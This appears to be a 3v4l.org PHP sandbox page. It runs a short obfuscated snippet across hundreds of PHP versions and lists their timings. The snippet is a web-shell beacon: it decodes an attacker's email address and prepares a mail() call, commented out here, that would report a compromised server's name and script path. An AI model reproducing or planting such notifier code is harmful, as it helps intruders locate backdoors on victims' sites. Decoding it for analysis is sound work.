3v4l.org

run code in 300+ PHP versions simultaneously
<?php $x0b="\x6da\x69l"; $ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; $sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; $o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); $ee = $o[2].$o[3].$o[1].$o[4].$o[0]; printf("%s\n", $ee); //$send = @$x0b($ee,$sub,$ms);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00716.63
8.3.50.0130.00319.91
8.3.40.0090.00618.84
8.3.30.0110.00319.22
8.3.20.0000.00820.16
8.3.10.0080.00021.80
8.3.00.0040.00418.05
8.2.180.0120.00316.75
8.2.170.0140.00422.96
8.2.160.0000.01420.51
8.2.150.0000.00724.18
8.2.140.0080.00024.66
8.2.130.0000.00826.16
8.2.120.0000.00820.96
8.2.110.0080.00322.01
8.2.100.0110.00018.22
8.2.90.0040.00419.34
8.2.80.0040.00417.97
8.2.70.0000.00917.63
8.2.60.0090.00317.93
8.2.50.0040.00418.07
8.2.40.0040.00418.23
8.2.30.0000.00718.12
8.2.20.0040.00417.73
8.2.10.0000.00718.11
8.2.00.0000.00817.84
8.1.270.0060.00923.79
8.1.260.0040.00426.35
8.1.250.0000.00728.09
8.1.240.0030.00623.76
8.1.230.0030.00719.16
8.1.220.0040.00417.91
8.1.210.0040.00418.77
8.1.200.0100.00017.35
8.1.190.0000.00817.23
8.1.180.0000.00818.10
8.1.170.0050.00318.65
8.1.160.0000.00822.07
8.1.150.0050.00318.89
8.1.140.0040.00417.32
8.1.130.0070.00017.83
8.1.120.0040.00417.36
8.1.110.0070.00017.46
8.1.100.0020.00517.50
8.1.90.0000.00717.44
8.1.80.0050.00217.44
8.1.70.0040.00417.33
8.1.60.0040.00417.62
8.1.50.0040.00417.42
8.1.40.0000.00917.40
8.1.30.0030.00617.66
8.1.20.0040.00417.56
8.1.10.0000.00717.46
8.1.00.0040.00417.36
8.0.300.0000.00718.77
8.0.290.0040.00416.75
8.0.280.0000.00718.39
8.0.270.0050.00217.28
8.0.260.0030.00317.34
8.0.250.0070.00017.05
8.0.240.0030.00517.03
8.0.230.0030.00317.03
8.0.220.0000.00716.87
8.0.210.0070.00016.98
8.0.200.0000.00716.91
8.0.190.0050.00216.92
8.0.180.0030.00516.98
8.0.170.0040.00417.00
8.0.160.0040.00416.88
8.0.150.0000.00716.96
8.0.140.0000.00816.97
8.0.130.0030.00313.43
8.0.120.0040.00416.96
8.0.110.0000.00716.96
8.0.100.0050.00216.99
8.0.90.0000.00716.86
8.0.80.0140.00016.96
8.0.70.0000.00717.02
8.0.60.0000.00816.74
8.0.50.0070.00016.86
8.0.30.0070.01517.09
8.0.20.0080.01217.40
8.0.10.0000.00816.98
8.0.00.0070.01116.73
7.4.330.0030.00315.15
7.4.320.0070.00016.52
7.4.300.0060.00016.39
7.4.290.0000.00716.36
7.4.280.0050.00316.52
7.4.270.0040.00416.46
7.4.260.0000.00716.58
7.4.250.0040.00416.57
7.4.240.0020.00516.58
7.4.230.0000.00716.43
7.4.220.0100.00616.71
7.4.210.0030.01016.71
7.4.200.0050.00216.69
7.4.160.0090.00616.38
7.4.150.0030.01417.40
7.4.140.0120.00817.86
7.4.130.0080.00816.53
7.4.120.0090.00916.50
7.4.110.0060.01016.73
7.4.100.0100.00716.66
7.4.90.0070.01016.53
7.4.80.0140.00419.39
7.4.70.0030.01216.45
7.4.60.0100.00716.42
7.4.50.0000.00416.36
7.4.40.0000.01716.51
7.4.30.0110.00716.64
7.4.00.0030.00715.05
7.3.330.0000.00613.27
7.3.320.0000.00513.30
7.3.310.0070.00016.43
7.3.300.0030.00316.40
7.3.290.0060.01316.37
7.3.280.0040.01316.36
7.3.270.0150.00417.40
7.3.260.0100.00716.55
7.3.250.0130.00516.46
7.3.240.0130.01016.33
7.3.230.0000.01616.49
7.3.210.0070.01016.37
7.3.200.0060.01619.39
7.3.190.0100.00916.37
7.3.180.0090.00916.46
7.3.170.0060.00916.52
7.3.160.0110.00616.34
7.3.120.0030.01314.80
7.2.330.0140.00716.69
7.2.320.0090.00816.74
7.2.310.0030.01216.71
7.2.300.0040.01416.58
7.2.290.0060.01016.73
7.1.70.0040.00417.01
7.1.60.0040.01119.40
7.1.50.0040.01816.89
7.1.00.0030.07322.44
7.0.200.0000.00716.83
7.0.140.0030.07321.99
7.0.60.0100.07719.93
7.0.50.0100.06317.81
7.0.40.0130.07720.12
7.0.30.0300.07720.18
7.0.20.0270.05320.09
7.0.10.0070.09020.13
7.0.00.0100.04019.99
5.6.280.0000.07720.93
5.6.210.0100.03720.70
5.6.200.0170.04718.21
5.6.190.0130.08020.43
5.6.180.0100.05020.36
5.6.170.0230.03320.54
5.6.160.0030.04720.57
5.6.150.0000.04718.18
5.6.140.0070.08018.18
5.6.130.0030.08318.12
5.6.120.0070.04020.96
5.6.110.0070.04020.89
5.6.100.0030.04021.05
5.6.90.0200.07021.00
5.6.80.0070.06020.37
5.5.350.3530.03020.41
5.5.340.0100.06017.88
5.5.330.0030.05720.36
5.5.320.0270.05320.27
5.5.310.0270.07020.20
5.5.300.0130.07318.00
5.5.290.0100.07717.98
5.5.280.0330.03720.81
5.5.270.0000.04320.87
5.5.260.0000.08720.97
5.5.250.0130.08020.69
5.5.240.0170.03720.35
5.4.450.0430.04319.46
5.4.440.0800.03719.45
5.4.430.0670.04319.40
5.4.420.0300.05319.41
5.4.410.0330.04019.29
5.4.400.0370.03719.08
5.4.390.0370.04019.09
5.4.380.0130.05318.68
5.4.370.0130.05318.66
5.4.360.0170.04718.74
5.4.350.0170.07018.74
5.4.340.0130.05318.45
5.4.320.0050.04312.45
5.4.310.0030.04912.45
5.4.300.0080.04112.45
5.4.290.0120.04312.45
5.4.280.0100.04912.35
5.4.270.0080.03812.35
5.4.260.0060.04612.35
5.4.250.0070.03712.35
5.4.240.0070.03912.35
5.4.230.0060.04012.34
5.4.220.0050.04412.34
5.4.210.0070.04012.34
5.4.200.0040.04412.34
5.4.190.0090.03912.34
5.4.180.0100.03912.34
5.4.170.0110.03212.35
5.4.160.0060.04112.34
5.4.150.0040.04112.34
5.4.140.0060.04512.03
5.4.130.0050.04212.02
5.4.120.0090.03511.97
5.4.110.0040.04111.97
5.4.100.0050.04611.96
5.4.90.0050.04211.96
5.4.80.0100.03311.97
5.4.70.0040.04911.96
5.4.60.0060.03711.96
5.4.50.0050.03711.96
5.4.40.0100.03611.95
5.4.30.0120.04311.95
5.4.20.0060.03611.95
5.4.10.0080.03811.95
5.4.00.0090.03711.44
5.3.290.0070.03912.80
5.3.280.0080.04312.71
5.3.270.0070.04712.73
5.3.260.0070.04112.72
5.3.250.0050.04612.72
5.3.240.0080.04012.72
5.3.230.0060.03712.71
5.3.220.0060.04112.68
5.3.210.0060.04212.68
5.3.200.0050.03612.68
5.3.190.0070.03712.68
5.3.180.0060.04412.68
5.3.170.0040.04312.67
5.3.160.0060.04212.67
5.3.150.0080.04112.68
5.3.140.0090.04212.66
5.3.130.0110.03712.66
5.3.120.0120.04712.66
5.3.110.0110.03612.66
5.3.100.0060.03912.12
5.3.90.0040.04212.09
5.3.80.0050.03912.07
5.3.70.0100.03512.07
5.3.60.0090.04212.06
5.3.50.0080.04012.00
5.3.40.0060.04212.00
5.3.30.0100.03311.95
5.3.20.0080.03611.72
5.3.10.0120.03811.69
5.3.00.0080.03511.68
5.2.170.0050.0309.18
5.2.160.0040.0369.18
5.2.150.0090.0379.18
5.2.140.0060.0349.17
5.2.130.0080.0299.14
5.2.120.0040.0319.13
5.2.110.0030.0319.14
5.2.100.0050.0289.14
5.2.90.0070.0269.14
5.2.80.0090.0289.13
5.2.70.0040.0419.14
5.2.60.0060.0319.09
5.2.50.0050.0329.05
5.2.40.0040.0339.04
5.2.30.0060.0349.00
5.2.20.0050.0349.00
5.2.10.0050.0358.92
5.2.00.0060.0298.78
5.1.60.0060.0288.07
5.1.50.0100.0258.06
5.1.40.0050.0308.04
5.1.30.0060.0298.39
5.1.20.0050.0278.41
5.1.10.0050.0348.14
5.1.00.0040.0318.14
5.0.50.0040.0226.62
5.0.40.0030.0206.48
5.0.30.0040.0316.29
5.0.20.0040.0206.26
5.0.10.0070.0256.24
5.0.00.0030.0336.23
4.4.90.0030.0174.78
4.4.80.0020.0224.75
4.4.70.0060.0124.75
4.4.60.0040.0144.75
4.4.50.0030.0154.77
4.4.40.0020.0274.71
4.4.30.0060.0184.76
4.4.20.0040.0174.84
4.4.10.0030.0184.84
4.4.00.0040.0264.76
4.3.110.0040.0164.67
4.3.100.0010.0164.67
4.3.90.0040.0144.63
4.3.80.0030.0244.58
4.3.70.0040.0184.63
4.3.60.0050.0204.63
4.3.50.0050.0154.63
4.3.40.0010.0274.54
4.3.30.0030.0153.28
4.3.20.0060.0143.26
4.3.10.0040.0143.22
4.3.00.0030.01715.17

preferences:
51.61 ms | 400 KiB | 5 Q